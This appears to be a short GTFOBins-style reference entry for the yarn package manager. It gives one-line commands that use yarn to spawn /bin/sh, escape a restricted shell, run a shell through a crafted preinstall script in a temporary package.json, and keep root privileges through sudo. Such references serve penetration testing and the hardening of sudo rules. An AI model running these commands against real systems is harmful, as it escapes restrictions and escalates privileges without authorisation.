It can be used to break out from restricted environments by spawning an interactive system shell.
yarn exec /bin/sh
Additionally, arbitrary script names can be used in place of preinstall and triggered by name with, e.g., yarn --cwd $TF run preinstall.
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
yarn --cwd $TF install
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo yarn exec /bin/sh